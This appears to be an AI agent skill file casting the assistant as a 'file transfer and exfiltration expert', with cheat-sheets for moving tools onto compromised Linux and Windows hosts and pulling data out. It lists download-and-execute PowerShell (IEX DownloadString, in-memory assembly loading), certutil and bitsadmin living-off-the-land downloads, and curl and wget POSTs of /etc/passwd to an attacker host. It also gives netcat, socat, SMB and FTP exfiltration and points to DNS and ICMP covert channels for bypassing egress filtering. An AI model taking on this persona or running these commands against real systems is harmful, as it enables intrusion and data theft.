/transferring-files

name: transferring-files
description: Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.
verified: 2026-07-27

File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

• Transferring files between systems
• Data exfiltration techniques
• Living-off-the-land file transfer methods
• Cross-platform file operations
• Encoding and obfuscation
• Bypassing egress filtering
• Establishing file servers

When to Use

Activate this skill when the user asks to:

• Transfer files between systems
• Download files to compromised systems
• Exfiltrate data from targets
• Set up file servers for attacks
• Bypass egress filtering
• Use living-off-the-land techniques
• Encode or obfuscate file transfers
• Help with data staging

When NOT to Use

• **Before you have code execution** — use the relevant initial access skill
• **Exfiltrating real customer data** — outside authorized scope; demonstrate

the channel, not the data

• **Detecting exfiltration as a defender** — use `hunting-threats`

Core Methodologies

1. Linux File Download

**wget:**

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

**curl:**

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

**Netcat:**

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

**Base64 Encoding (for copy-paste):**

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt

**Python HTTP Server (for hosting files):**

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000

2. Windows File Download

**PowerShell:**

# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)

**certutil:**

# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete

**bitsadmin:**

# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job

**cmd.exe (VBS script):** when PowerShell/certutil/bitsadmin are unavailable, build a WinHTTP downloader from `cmd.exe`. See [references/command-catalogs.md](references/command-catalogs.md#windows-cmdexe-vbs-downloader).

3. Linux File Upload/Exfiltration

**HTTP POST:**

# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload

**SCP (if SSH available):**

# Upload
scp file.txt user@10.10.10.10:/tmp/

# Download
scp user@10.10.10.10:/tmp/file.txt ./

# Recursive
scp -r directory/ user@10.10.10.10:/tmp/

# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/

**Netcat:**

# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt

**Socat:**

# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt

**Covert channels (DNS / ICMP):** when normal egress is filtered, tunnel data out over DNS queries or ICMP packets. See [references/command-catalogs.md](references/command-catalogs.md#dns-exfiltration).

4. Windows File Upload

**PowerShell:**

# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes

**SMB:**

# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\

**FTP:**

# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt

5. SMB File Transfer

**Linux to Windows:**

# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/

**Windows to Linux:**

# Start Samba server on Linux
sudo smbserver.py share /